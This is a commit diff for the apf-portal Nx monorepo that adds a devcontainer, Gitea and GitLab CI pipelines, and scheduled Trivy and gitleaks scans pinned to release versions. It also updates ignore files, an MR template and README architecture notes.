Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-05 14:46:57 +02:00
507 changed files with 57982 additions and 4565 deletions
+14
View File
@@ -0,0 +1,14 @@
# Deque axe Linter config — silences false positives the static
# HTML scanner emits against Angular 17+ control-flow blocks
# (`@for`, `@if`, `@switch`) used inline in templates.
#
# The `list` rule (WCAG 1.3.1) flags `@for (item of …) { <li>… }`
# constructs as if the `@for` text were a non-<li> child of <ul>/<ol>.
# At build time, the Angular compiler erases those tokens — the
# rendered DOM only contains <li> children. The axe-playwright suite
# wired into CI per ADR-0016 runs against the rendered DOM, so the
# real accessibility contract is enforced there; this file only
# tames the editor-side noise.
global-disable:
- list
+65
View File
@@ -0,0 +1,65 @@
// `apf-portal` devcontainer — VSCode Dev Containers spec.
//
// Pinned Node + pnpm via corepack via the official typescript-node image
// (Bookworm base). The container has access to the host docker daemon
// through the docker socket (`docker-outside-of-docker` feature), so
// `infra/local/dev.sh up` on the HOST creates the postgres/redis/otel
// containers and this container connects to them through the shared
// `apf-portal-dev` network.
//
// Workflow:
// 1. On the host: ./infra/local/dev.sh up (creates the network)
// 2. In VSCode: F1 → "Dev Containers: Reopen in Container"
// 3. Inside the container: pnpm exec nx serve portal-bff (connects to postgres:5432)
{
"name": "apf-portal",
"image": "mcr.microsoft.com/devcontainers/typescript-node:1-24-bookworm",
"features": {
"ghcr.io/devcontainers/features/docker-outside-of-docker:1": {},
"ghcr.io/devcontainers/features/common-utils:2": {
"installZsh": false,
"configureZshAsDefaultShell": false
}
},
// `initializeCommand` runs on the HOST before the container starts.
// Fail fast if the infra network isn't up — otherwise the BFF would
// get connection-refused on every Postgres query inside the container.
"initializeCommand": "docker network inspect apf-portal-dev > /dev/null 2>&1 || { echo '❌ Bring up infra first: ./infra/local/dev.sh up' >&2 ; exit 1 ; }",
// Attach to the same Compose network as postgres/redis/otel so DNS
// resolution (`postgres:5432`) works from inside the container.
"runArgs": ["--network=apf-portal-dev"],
"forwardPorts": [4200, 4300, 3000, 8081, 16686, 4317, 4318],
"portsAttributes": {
"4200": { "label": "portal-shell", "onAutoForward": "notify" },
"4300": { "label": "portal-admin", "onAutoForward": "notify" },
"3000": { "label": "portal-bff", "onAutoForward": "notify" },
"8081": { "label": "pgweb", "onAutoForward": "silent" },
"16686": { "label": "jaeger UI", "onAutoForward": "silent" },
"4317": { "label": "otel gRPC", "onAutoForward": "silent" },
"4318": { "label": "otel HTTP", "onAutoForward": "silent" }
},
"postCreateCommand": "bash .devcontainer/post-create.sh",
"remoteUser": "node",
"containerEnv": {
// Nx + Angular CLI memory ceiling — 4 GB. Bumping past the default
// 2 GB avoids OOM in `nx build` on large monorepos.
"NODE_OPTIONS": "--max-old-space-size=4096"
},
"customizations": {
"vscode": {
"extensions": [
"dbaeumer.vscode-eslint",
"esbenp.prettier-vscode",
"Angular.ng-template",
"Prisma.prisma",
"ms-azuretools.vscode-docker",
"EditorConfig.EditorConfig"
],
"settings": {
"terminal.integrated.defaultProfile.linux": "bash",
"editor.formatOnSave": true,
"editor.defaultFormatter": "esbenp.prettier-vscode"
}
}
}
}
+12
View File
@@ -0,0 +1,12 @@
#!/usr/bin/env bash
# Runs once, on the container's first start. Idempotent.
set -euo pipefail
echo "▶ Enabling corepack (pnpm shim from package.json#packageManager)…"
corepack enable
echo "▶ pnpm install --frozen-lockfile…"
pnpm install --frozen-lockfile
echo "✓ Devcontainer ready."
echo " Suggested next: pnpm exec nx run-many -t lint test --parallel=3"
+132 -40
View File
@@ -2,15 +2,6 @@
# Thin YAML — orchestration lives in package.json scripts (ci:check, # Thin YAML — orchestration lives in package.json scripts (ci:check,
# ci:audit, ci:commits, ci:perf) and Nx targets. Any change to gate # ci:audit, ci:commits, ci:perf) and Nx targets. Any change to gate
# behaviour belongs in those scripts, not in this file. # behaviour belongs in those scripts, not in this file.
#
# `cache: 'pnpm'` is intentionally NOT enabled on actions/setup-node
# below: act_runner's built-in GitHub-Actions-cache server is bound on
# the runner container and is unreachable from job containers (which
# run on Docker's default network, not the runners' compose network).
# Each request burns a ~2 min ETIMEDOUT on restore + another on save,
# for zero hit rate. Once the runner network/cache config is fixed
# (tracked in infra/README.md "Cache server"), re-add `cache: 'pnpm'`
# here.
name: CI name: CI
@@ -24,7 +15,7 @@ jobs:
check: check:
runs-on: [self-hosted, on-prem] runs-on: [self-hosted, on-prem]
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
with: with:
fetch-depth: 0 fetch-depth: 0
# Derive NX_BASE / NX_HEAD for `nx affected`. Replaces # Derive NX_BASE / NX_HEAD for `nx affected`. Replaces
@@ -46,53 +37,152 @@ jobs:
echo "NX_BASE=HEAD~1" >> "$GITHUB_ENV" echo "NX_BASE=HEAD~1" >> "$GITHUB_ENV"
fi fi
echo "NX_HEAD=HEAD" >> "$GITHUB_ENV" echo "NX_HEAD=HEAD" >> "$GITHUB_ENV"
- uses: pnpm/action-setup@v3 - uses: pnpm/action-setup@v6
- uses: actions/setup-node@v4 - uses: actions/setup-node@v6
with: with:
node-version-file: '.nvmrc' node-version-file: '.nvmrc'
cache: 'pnpm'
- run: pnpm install --frozen-lockfile - run: pnpm install --frozen-lockfile
- run: pnpm ci:check - run: pnpm ci:check
# Catalogue-vs-code drift gate per ADR-0025 §"Confirmation".
# Cheap (parses ~workspace .ts files via the TypeScript
# compiler API, ~1s on a warm cache) so it rides the same
# `check` job rather than spinning up a new one. The
# script's own unit tests run first — if they fail the gate
# itself is broken and the actual catalogue check would be
# noise.
- run: pnpm ci:catalogue-drift:test
- run: pnpm ci:catalogue-drift
scan: scan:
runs-on: [self-hosted, on-prem] runs-on: [self-hosted, on-prem]
# Step ordering matters here: Trivy and gitleaks BOTH run before
# `pnpm install`. Reason: gitleaks scans the working tree
# (`--no-git --source .`), and after install, `node_modules/`
# and `.pnpm-store/` are full of upstream packages whose READMEs
# and test fixtures contain demo RSA keys / fake API tokens —
# gitleaks then false-positives on them by the hundreds (caught
# the hard way: 381 hits on the first run). Trivy reads
# `pnpm-lock.yaml` for its vuln scan, not `node_modules`, so it
# also doesn't need install. `pnpm ci:audit` does the same — it
# queries the advisory DB against the lockfile.
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- uses: pnpm/action-setup@v3 - uses: pnpm/action-setup@v6
- uses: actions/setup-node@v4 - uses: actions/setup-node@v6
with: with:
node-version-file: '.nvmrc' node-version-file: '.nvmrc'
cache: 'pnpm'
# Dependency vulnerability scan. Trivy is a Go binary, not an npm
# package, so it cannot live in package.json scripts as cleanly
# as audit/lint do.
#
# We deliberately avoid `aquasecurity/trivy-action`. On cache
# miss the action falls back to `git clone github.com/aquasecurity/
# trivy` to fetch its install script, using `actions/checkout`
# which defaults `with.token` to `${{ github.token }}` (Gitea's
# auto-token, useless for github.com). The clone hits the
# anonymous github.com rate limit and fails with "could not
# read Username". Passing GITHUB_TOKEN as an env var doesn't
# help — actions/checkout reads it from `inputs.token`, not env.
#
# Direct curl + tar is simpler, predictable, and gives us an
# explicit version pin instead of `@master`. GITHUBCOM_TOKEN is
# passed to handle the github.com rate limit on the release
# download in the worst case (release artefacts are usually
# unmetered, but auth is free insurance).
- name: Install Trivy
env:
# renovate: datasource=github-releases depName=aquasecurity/trivy
TRIVY_VERSION: '0.70.0'
GITHUB_TOKEN: ${{ secrets.GITHUBCOM_TOKEN }}
run: |
curl -sfL \
-H "Authorization: Bearer ${GITHUB_TOKEN}" \
-o /tmp/trivy.tar.gz \
"https://github.com/aquasecurity/trivy/releases/download/v${TRIVY_VERSION}/trivy_${TRIVY_VERSION}_Linux-64bit.tar.gz"
tar -xzf /tmp/trivy.tar.gz -C /usr/local/bin trivy
trivy --version
- name: Run Trivy
# `--scanners vuln`: limit Trivy to vulnerability scanning. Its
# secret scanner false-positives on demo RSA keys embedded in
# the README/fixtures of cryptographic npm packages (which
# land under .pnpm-store/), and we already have gitleaks below
# as the dedicated secret-scan gate. Trivy's intent in this
# job, per ADR-0015, was always "dependency vulnerability
# scan" — restoring that scope.
run: |
trivy fs \
--scanners vuln \
--ignore-unfixed \
--skip-dirs node_modules \
--exit-code 1 \
--severity CRITICAL,HIGH \
.
# Secret scan. Same install pattern as Trivy: gitleaks is a Go
# binary, and the official `gitleaks/gitleaks-action@v2` wrapper
# is now paywalled for organisations (a GITLEAKS_LICENSE secret
# from gitleaks.io is required, otherwise the action errors out
# with `🛑 missing gitleaks license`). The binary itself stays
# MIT-licensed and free — installing it directly bypasses the
# wrapper and gives us version pinning for free.
- name: Install gitleaks
env:
# renovate: datasource=github-releases depName=gitleaks/gitleaks
GITLEAKS_VERSION: '8.30.1'
GITHUB_TOKEN: ${{ secrets.GITHUBCOM_TOKEN }}
run: |
curl -sfL \
-H "Authorization: Bearer ${GITHUB_TOKEN}" \
-o /tmp/gitleaks.tar.gz \
"https://github.com/gitleaks/gitleaks/releases/download/v${GITLEAKS_VERSION}/gitleaks_${GITLEAKS_VERSION}_linux_x64.tar.gz"
tar -xzf /tmp/gitleaks.tar.gz -C /usr/local/bin gitleaks
gitleaks version
- name: Run gitleaks
# `--no-git --source .` scans the working tree only. The scan
# job uses a shallow checkout, so a git-history scan would not
# see beyond HEAD anyway; the weekly security-scheduled
# workflow does the deep history scan with a full clone.
# `--redact` masks any matched secret in the log output so we
# do not leak it via the CI logs themselves.
run: |
gitleaks detect \
--no-git \
--source . \
--redact \
--exit-code 1
# npm-advisory check (against pnpm-lock.yaml). Run last so
# `pnpm install` does not pollute the working tree before the
# scanners above.
- run: pnpm install --frozen-lockfile - run: pnpm install --frozen-lockfile
- run: pnpm ci:audit - run: pnpm ci:audit
# Dependency vulnerability scan (binary tool, invoked via official
# action — Trivy is a Go binary, not an npm package, so it cannot
# live in package.json scripts as cleanly as audit/lint do).
- uses: aquasecurity/trivy-action@master
with:
scan-type: fs
ignore-unfixed: true
skip-dirs: node_modules
exit-code: '1'
severity: 'CRITICAL,HIGH'
# Secret scan, same reasoning (gitleaks is a Go binary).
- uses: gitleaks/gitleaks-action@v2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
commits: commits:
if: github.event_name == 'pull_request' # PRs opened by Renovate (apf-portal-bot) carry commit messages
# generated from a vetted Conventional-Commits template — running
# commitlint on them is tautological. Per ADR-0017 amendment.
if: github.event_name == 'pull_request' && github.event.pull_request.user.login != 'apf-portal-bot'
runs-on: [self-hosted, on-prem] runs-on: [self-hosted, on-prem]
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
with: with:
fetch-depth: 0 fetch-depth: 0
- uses: pnpm/action-setup@v3 - uses: pnpm/action-setup@v6
- uses: actions/setup-node@v4 - uses: actions/setup-node@v6
with: with:
node-version-file: '.nvmrc' node-version-file: '.nvmrc'
cache: 'pnpm'
- run: pnpm install --frozen-lockfile - run: pnpm install --frozen-lockfile
- run: COMMIT_LINT_FROM=origin/main pnpm ci:commits - run: COMMIT_LINT_FROM=origin/main pnpm ci:commits
perf: perf:
# Skip the Lighthouse run on PRs opened by Renovate (apf-portal-bot):
# the per-PR perf signal on a dep bump is essentially zero (no
# routes yet, bundle is the static placeholder), and the Lighthouse
# round-trip burns several minutes per PR. Push events on `main`
# still run perf — we catch regressions immediately post-merge,
# not pre-merge. Per ADR-0017 amendment.
if: github.event_name != 'pull_request' || github.event.pull_request.user.login != 'apf-portal-bot'
runs-on: [self-hosted, on-prem] runs-on: [self-hosted, on-prem]
# Lighthouse CI drives a real Chrome instance; the default act runner # Lighthouse CI drives a real Chrome instance; the default act runner
# image (catthehacker/ubuntu:act-22.04) ships without one. The :full # image (catthehacker/ubuntu:act-22.04) ships without one. The :full
@@ -101,14 +191,15 @@ jobs:
container: container:
image: catthehacker/ubuntu:full-22.04 image: catthehacker/ubuntu:full-22.04
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- uses: pnpm/action-setup@v3 - uses: pnpm/action-setup@v6
- uses: actions/setup-node@v4 - uses: actions/setup-node@v6
with: with:
node-version-file: '.nvmrc' node-version-file: '.nvmrc'
cache: 'pnpm'
- run: pnpm install --frozen-lockfile - run: pnpm install --frozen-lockfile
- run: pnpm ci:perf - run: pnpm ci:perf
- uses: actions/upload-artifact@v4 - uses: actions/upload-artifact@v7
if: always() if: always()
with: with:
name: lighthouseci-report name: lighthouseci-report
@@ -118,11 +209,12 @@ jobs:
a11y: a11y:
runs-on: [self-hosted, on-prem] runs-on: [self-hosted, on-prem]
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- uses: pnpm/action-setup@v3 - uses: pnpm/action-setup@v6
- uses: actions/setup-node@v4 - uses: actions/setup-node@v6
with: with:
node-version-file: '.nvmrc' node-version-file: '.nvmrc'
cache: 'pnpm'
- run: pnpm install --frozen-lockfile - run: pnpm install --frozen-lockfile
# Placeholder until the e2e a11y suite (axe-core via Playwright, # Placeholder until the e2e a11y suite (axe-core via Playwright,
# per ADR-0016) is wired with the first real screens. The job # per ADR-0016) is wired with the first real screens. The job
+73
View File
@@ -0,0 +1,73 @@
# Per ADR-0022 (Documentation site — VitePress).
# Builds the static docs site from `docs/`. On `pull_request` the
# build is a syntax / dead-link gate; on `push` to `main` the same
# build runs and the bundle is uploaded as an artifact so the
# operator can drop it on the static host until the future
# infrastructure ADR locks the rsync target.
#
# Path filter scopes the workflow to changes that can actually
# affect the rendered site: documentation content, the VitePress
# configuration itself, and dependency manifests (Vite/VitePress
# upgrades).
name: Docs site
on:
pull_request:
branches: [main]
paths:
- 'docs/**'
- 'package.json'
- 'pnpm-lock.yaml'
- '.gitea/workflows/docs-site.yml'
push:
branches: [main]
paths:
- 'docs/**'
- 'package.json'
- 'pnpm-lock.yaml'
- '.gitea/workflows/docs-site.yml'
jobs:
build:
runs-on: [self-hosted, on-prem]
steps:
- uses: actions/checkout@v6
- uses: pnpm/action-setup@v6
- uses: actions/setup-node@v6
with:
node-version-file: '.nvmrc'
cache: 'pnpm'
- run: pnpm install --frozen-lockfile
# `pnpm docs:build` runs `vitepress build docs` per the script
# added in this chantier. Fails the workflow on:
# - markdown / Vue-template parse errors,
# - genuine dead in-site links (the config's
# `ignoreDeadLinks` regex already covers the intentional
# cross-repo + localhost references that must not break
# the build).
- name: Build docs site
run: pnpm docs:build
# Sanity-check: the build must produce HTML where the Mermaid
# plugin has injected its diagram markers. Guards against a
# silent regression on the plugin upgrade path — `pnpm install`
# might happily resolve a new major that no longer hooks into
# markdown-it the same way, leaving fenced ```mermaid blocks
# as raw text. Per ADR-0022 §"Confirmation".
- name: Assert Mermaid renders into the build output
run: |
if ! grep -RIlq 'class="mermaid"\|<svg' docs/.vitepress/dist/decisions/0009-auth-flow-oidc-pkce-msal-node.html; then
echo "ADR-0009's Mermaid sequence diagram did not render — Mermaid plugin regression?" >&2
exit 1
fi
# On push only — upload the static bundle so the operator can
# rsync it to the host until the future infra ADR formalises
# the deployment target. The artifact lives 30 days in Gitea's
# storage by default.
- name: Upload docs bundle
if: github.event_name == 'push'
uses: actions/upload-artifact@v3
with:
name: docs-site
path: docs/.vitepress/dist/
retention-days: 30
+65 -16
View File
@@ -14,41 +14,90 @@ on:
jobs: jobs:
full-tree-scan: full-tree-scan:
runs-on: [self-hosted, on-prem] runs-on: [self-hosted, on-prem]
# Step ordering mirrors ci.yml: scanners run before `pnpm install`
# so the working tree is not polluted with node_modules content
# (READMEs / fixtures of upstream packages contain demo
# secrets that gitleaks false-positives on by the hundreds).
# The deep-history gitleaks scan here doesn't strictly need it
# (history doesn't contain node_modules), but consistency with
# ci.yml keeps the two workflows reading the same way.
steps: steps:
- uses: actions/checkout@v4 # fetch-depth: 0 → full history. The per-PR gitleaks scan is
- uses: pnpm/action-setup@v3 # shallow + working-tree-only; this scheduled job is where we
- uses: actions/setup-node@v4 # do the deep history scan that catches secrets ever committed
# (and not just what's currently checked in).
- uses: actions/checkout@v6
with:
fetch-depth: 0
- uses: pnpm/action-setup@v6
- uses: actions/setup-node@v6
with: with:
node-version-file: '.nvmrc' node-version-file: '.nvmrc'
cache: 'pnpm' cache: 'pnpm'
- run: pnpm install --frozen-lockfile
- run: pnpm audit
# Full-tree Trivy (no skip-dirs, no severity filter — the per-PR # Full-tree Trivy (no skip-dirs, no severity filter — the per-PR
# gate filters by severity for speed; this run wants the full # gate filters by severity for speed; this run wants the full
# surface for the security feed). # surface for the security feed). Manual install + curl, same
- uses: aquasecurity/trivy-action@master # pattern as ci.yml — see the rationale there.
with: - name: Install Trivy
scan-type: fs
ignore-unfixed: true
- uses: gitleaks/gitleaks-action@v2
env: env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} # renovate: datasource=github-releases depName=aquasecurity/trivy
TRIVY_VERSION: '0.70.0'
GITHUB_TOKEN: ${{ secrets.GITHUBCOM_TOKEN }}
run: |
curl -sfL \
-H "Authorization: Bearer ${GITHUB_TOKEN}" \
-o /tmp/trivy.tar.gz \
"https://github.com/aquasecurity/trivy/releases/download/v${TRIVY_VERSION}/trivy_${TRIVY_VERSION}_Linux-64bit.tar.gz"
tar -xzf /tmp/trivy.tar.gz -C /usr/local/bin trivy
trivy --version
- name: Run Trivy
run: |
trivy fs \
--scanners vuln \
--ignore-unfixed \
.
# Deep gitleaks scan (full git history). Same install pattern as
# ci.yml. `--redact` masks any matched secret in the log so we
# don't leak it via CI logs themselves.
- name: Install gitleaks
env:
# renovate: datasource=github-releases depName=gitleaks/gitleaks
GITLEAKS_VERSION: '8.30.1'
GITHUB_TOKEN: ${{ secrets.GITHUBCOM_TOKEN }}
run: |
curl -sfL \
-H "Authorization: Bearer ${GITHUB_TOKEN}" \
-o /tmp/gitleaks.tar.gz \
"https://github.com/gitleaks/gitleaks/releases/download/v${GITLEAKS_VERSION}/gitleaks_${GITLEAKS_VERSION}_linux_x64.tar.gz"
tar -xzf /tmp/gitleaks.tar.gz -C /usr/local/bin gitleaks
gitleaks version
- name: Run gitleaks (full history)
run: |
gitleaks detect \
--source . \
--redact \
--exit-code 1
# npm-advisory check (against pnpm-lock.yaml). Run last so
# `pnpm install` does not pollute the working tree before the
# scanners above.
- run: pnpm install --frozen-lockfile
- run: pnpm audit
lighthouse-prod: lighthouse-prod:
# Skipped silently if the prod URL hasn't been configured yet. # Skipped silently if the prod URL hasn't been configured yet.
if: vars.LHCI_PROD_URL != '' if: vars.LHCI_PROD_URL != ''
runs-on: [self-hosted, on-prem] runs-on: [self-hosted, on-prem]
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v6
- uses: pnpm/action-setup@v3 - uses: pnpm/action-setup@v6
- uses: actions/setup-node@v4 - uses: actions/setup-node@v6
with: with:
node-version-file: '.nvmrc' node-version-file: '.nvmrc'
cache: 'pnpm' cache: 'pnpm'
- run: pnpm install --frozen-lockfile - run: pnpm install --frozen-lockfile
- run: pnpm exec lhci collect --url=${{ vars.LHCI_PROD_URL }} --numberOfRuns=3 - run: pnpm exec lhci collect --url=${{ vars.LHCI_PROD_URL }} --numberOfRuns=3
- run: pnpm exec lhci assert --config=./lighthouserc.js - run: pnpm exec lhci assert --config=./lighthouserc.js
- uses: actions/upload-artifact@v4 - uses: actions/upload-artifact@v7
if: always() if: always()
with: with:
name: lighthouseci-prod-report name: lighthouseci-prod-report
+13
View File
@@ -10,6 +10,10 @@ tmp/
.nx/cache/ .nx/cache/
.nx/workspace-data/ .nx/workspace-data/
# VitePress (docs site per ADR-0022)
docs/.vitepress/cache/
docs/.vitepress/dist/
# Test artifacts # Test artifacts
coverage/ coverage/
.test-output/ .test-output/
@@ -27,6 +31,15 @@ pnpm-debug.log*
*.pem *.pem
*.key *.key
# Tenant-private Entra group GUIDs per ADR-0025 (commit only the .example.json)
infra/*-tenant.entra.json
!infra/*-tenant.entra.example.json
# Tenant-private Entra per-persona oids consumed by prisma/seed.ts
# (ADR-0026 §"Seed personas"). Same pattern — commit only the example.
infra/*-tenant.personas.json
!infra/*-tenant.personas.example.json
# OS / editor scrap # OS / editor scrap
.DS_Store .DS_Store
Thumbs.db Thumbs.db
+159
View File
@@ -0,0 +1,159 @@
# Per ADR-0028 (CI/CD migration from Gitea Actions to GitLab CE).
# Thin YAML — orchestration lives in package.json scripts (ci:check,
# ci:catalogue-drift, ci:audit, ci:commits, ci:perf, ci:gzip-budgets)
# and Nx targets. Any change to gate behaviour belongs in those
# scripts, not in this file — see ADR-0015 §"Thin pipeline YAML…"
# (principle preserved by ADR-0028 at the migration boundary).
#
# Phase 2 of ADR-0028: ships alongside .gitea/workflows/ci.yml. Both
# pipelines must remain in parity until cutover (Phase 3), at which
# point the Gitea workflow gets deleted.
include:
# GitLab built-in scanners — replace the manual Trivy + gitleaks
# install in .gitea/workflows/ci.yml. Both add their own jobs to
# the pipeline; their default stage is `test`, which is mapped in
# `stages:` below.
- template: Jobs/SAST.gitlab-ci.yml
- template: Jobs/Secret-Detection.gitlab-ci.yml
stages:
- check
- test
- commits
- perf
- a11y
workflow:
rules:
# MR pipelines — covers GitLab MR review flow once it lands.
- if: $CI_PIPELINE_SOURCE == "merge_request_event"
# Direct pushes — covers post-merge runs on main today, and Phase 2
# parity testing on feature branches mirrored from Gitea. To be
# tightened to `$CI_COMMIT_BRANCH == "main"` at the Phase 3 cutover
# once GitLab is the source of truth.
- if: $CI_PIPELINE_SOURCE == "push"
# Shared shape for jobs that need Node + pnpm. Hidden (`.` prefix) so
# GitLab does not try to execute it. Inheriting jobs `extends: .node-job`.
.node-job:
image: node:24-bookworm
cache:
key:
files:
- pnpm-lock.yaml
paths:
- .pnpm-store/
before_script:
- corepack enable
- corepack prepare pnpm@10.33.4 --activate
- pnpm config set store-dir "$CI_PROJECT_DIR/.pnpm-store"
check:
extends: .node-job
stage: check
# `nx affected` needs a base SHA to diff against. Mirrors the
# equivalent step in .gitea/workflows/ci.yml — same logic, GitLab
# variable names. Replaces nrwl/nx-set-shas (GitHub-only).
script:
- |
if [ "$CI_PIPELINE_SOURCE" = "merge_request_event" ]; then
git fetch origin "$CI_MERGE_REQUEST_TARGET_BRANCH_NAME" --depth=100
export NX_BASE=$(git merge-base HEAD "origin/$CI_MERGE_REQUEST_TARGET_BRANCH_NAME")
else
export NX_BASE="HEAD~1"
fi
export NX_HEAD="HEAD"
- pnpm install --frozen-lockfile
- pnpm ci:check
# Catalogue-vs-code drift gate per ADR-0025 §"Confirmation". The
# script's own unit tests run first — if they fail the gate itself
# is broken and the actual catalogue check would be noise.
- pnpm ci:catalogue-drift:test
- pnpm ci:catalogue-drift
audit:
extends: .node-job
stage: test
# npm-advisory check against pnpm-lock.yaml. Trivy's dependency-vuln
# role from the Gitea workflow is now covered by the SAST include
# (which includes Dependency Scanning analyzers); `pnpm audit` stays
# in-pipeline as defense in depth against the npm advisory DB
# specifically.
script:
- pnpm install --frozen-lockfile
- pnpm ci:audit
commits:
extends: .node-job
stage: commits
# MRs opened by Renovate (apf-portal-bot) carry commit messages from
# a vetted Conventional-Commits template — running commitlint on
# them is tautological. Per ADR-0017 amendment.
rules:
- if: $CI_PIPELINE_SOURCE == "merge_request_event" && $GITLAB_USER_LOGIN != "apf-portal-bot"
variables:
# Default `GIT_DEPTH: 20` is too shallow to diff against
# origin/main on long-running branches. Full clone so commitlint
# can walk all the way back.
GIT_DEPTH: 0
script:
- git fetch origin main
- pnpm install --frozen-lockfile
- COMMIT_LINT_FROM=origin/main pnpm ci:commits
perf:
extends: .node-job
stage: perf
# Lighthouse CI drives a real Chrome via chrome-launcher, which
# probes the PATH / CHROME_PATH for a standard Chrome/Chromium
# binary. The Playwright image bundles Chromium under /ms-playwright
# with a non-standard name chrome-launcher cannot discover, so we
# stay on the base Node image and apt-install Debian's `chromium`
# (lands at /usr/bin/chromium). The future ADR-0016 axe-core e2e job
# — which drives Playwright directly — will use the Playwright image
# instead: the two tools want different things, so they get
# different images rather than one image that serves both poorly.
image: node:24-bookworm
variables:
CHROME_PATH: /usr/bin/chromium
before_script:
- !reference [.node-job, before_script]
- apt-get update -qq && apt-get install -y -qq --no-install-recommends chromium
# Skip on Renovate MRs (same rationale as commits + the perf signal
# on a dep bump is essentially zero). Push events on `main` still
# run perf — we catch regressions immediately post-merge, not
# pre-merge. Per ADR-0017 amendment.
rules:
- if: $CI_PIPELINE_SOURCE == "push" && $CI_COMMIT_BRANCH == "main"
- if: $CI_PIPELINE_SOURCE == "merge_request_event" && $GITLAB_USER_LOGIN != "apf-portal-bot"
script:
- pnpm install --frozen-lockfile
- pnpm ci:perf
artifacts:
when: always
paths:
- .lighthouseci/
expire_in: 30 days
a11y:
extends: .node-job
stage: a11y
# Placeholder until the e2e a11y suite (axe-core via Playwright, per
# ADR-0016) is wired with the first real screens. The job exists so
# branch protection can require it from day one — currently no-ops
# with a clear message.
script:
- echo "a11y gate placeholder - axe-core via Playwright wires up with the first real screens (ADR-0016)."
# Place SAST + Secret Detection in the `test` stage to mirror the
# Gitea workflow's grouping (where Trivy + gitleaks + audit all
# lived in the `scan` job). Override does not change behaviour —
# only stage placement. The included templates set sensible defaults
# (run on default branch + MRs, full repo on default branch / diff
# on MRs); revisited in Phase 3 if pipeline duration becomes a pain.
sast:
stage: test
secret_detection:
stage: test
@@ -0,0 +1,30 @@
<!--
MR title format — becomes the squash-merge subject on main, validated by commitlint.
<type>(<scope>): <short description>
Examples:
feat(portal-shell): add user-preferences panel skeleton
fix(portal-bff): correct env var bracket access
docs(decisions): add ADR-0018 for security baseline
chore(deps): bump @nx/* to 22.7.2
Imperative mood, lowercase, no trailing period, target ≤ 70 chars.
See docs/development.md §7 for the full convention (types, scopes).
-->
## Summary
## Motivation
## Implementation notes
## Verification
- [ ] `pnpm ci:check` green locally
- [ ] `pnpm ci:audit` green (or pre-existing drift acknowledged)
- [ ] Tested manually:
- [ ] Architecture diagram updated (if `docs/architecture.md` was affected)
- [ ] ADR amended or added (if a decision changed)
## Related
+5
View File
@@ -5,3 +5,8 @@
/.nx/workspace-data /.nx/workspace-data
.nx/self-healing .nx/self-healing
.angular .angular
# Generated gRPC TypeScript stubs (output of `pnpm run grpc:codegen`).
# Hand-formatting is not productive — overwritten on next regen — and
# ts-proto's output is internally consistent.
apps/portal-bff/src/grpc/gen/
+35 -6
View File
@@ -32,7 +32,7 @@ These constraints were set by the project lead at kickoff. They apply to every c
The structural, security, observability, and quality choices are recorded as ADRs and summarized below. Any change to these requires updating the corresponding ADR. The structural, security, observability, and quality choices are recorded as ADRs and summarized below. Any change to these requires updating the corresponding ADR.
- **Workspace:** Nx monorepo with the `apps` preset, managed by pnpm — see [ADR-0002](docs/decisions/0002-adopt-nx-monorepo-apps-preset.md). - **Workspace:** Nx monorepo with the `apps` preset, managed by pnpm — see [ADR-0002](docs/decisions/0002-adopt-nx-monorepo-apps-preset.md).
- **Naming:** workspace `apf-portal`; apps `portal-shell` (frontend) and `portal-bff` (backend); libs `feature-<name>` and `shared-<scope>` — see [ADR-0003](docs/decisions/0003-workspace-and-app-naming-convention.md). - **Naming:** workspace `apf-portal`; apps `portal-shell` (end-user SPA), `portal-admin` (admin SPA, skeleton in place — see ADR-0020), and `portal-bff` (backend); libs `feature-<name>` and `shared-<scope>` — see [ADR-0003](docs/decisions/0003-workspace-and-app-naming-convention.md).
- **Frontend (`portal-shell`):** Angular at the latest LTS major — standalone APIs, zoneless change detection, Signals, **CSR only (no SSR)**, Vitest, SCSS — see [ADR-0004](docs/decisions/0004-frontend-stack-angular-csr-zoneless-signals.md). - **Frontend (`portal-shell`):** Angular at the latest LTS major — standalone APIs, zoneless change detection, Signals, **CSR only (no SSR)**, Vitest, SCSS — see [ADR-0004](docs/decisions/0004-frontend-stack-angular-csr-zoneless-signals.md).
- **Backend (`portal-bff`):** NestJS at the latest stable major, mounted on the Express adapter (Fastify adapter swappable later) — see [ADR-0005](docs/decisions/0005-backend-stack-nestjs.md). - **Backend (`portal-bff`):** NestJS at the latest stable major, mounted on the Express adapter (Fastify adapter swappable later) — see [ADR-0005](docs/decisions/0005-backend-stack-nestjs.md).
- **Persistence:** PostgreSQL (latest stable major) via Prisma — see [ADR-0006](docs/decisions/0006-persistence-postgresql-prisma.md). - **Persistence:** PostgreSQL (latest stable major) via Prisma — see [ADR-0006](docs/decisions/0006-persistence-postgresql-prisma.md).
@@ -43,21 +43,48 @@ The structural, security, observability, and quality choices are recorded as ADR
- **Observability:** Pino + `nestjs-pino` for structured JSON logs, OpenTelemetry SDK + auto-instrumentations for traces, W3C Trace Context propagation across SPA → BFF → DB → Redis, `nestjs-cls` for request-scoped context (`trace_id`, `session_id`, `user_id_hash`, `audience`), 100 % sampling at the app with tail sampling deferred to the OTel Collector, stdout + OTLP shipping — see [ADR-0012](docs/decisions/0012-observability-pino-opentelemetry.md). - **Observability:** Pino + `nestjs-pino` for structured JSON logs, OpenTelemetry SDK + auto-instrumentations for traces, W3C Trace Context propagation across SPA → BFF → DB → Redis, `nestjs-cls` for request-scoped context (`trace_id`, `session_id`, `user_id_hash`, `audience`), 100 % sampling at the app with tail sampling deferred to the OTel Collector, stdout + OTLP shipping — see [ADR-0012](docs/decisions/0012-observability-pino-opentelemetry.md).
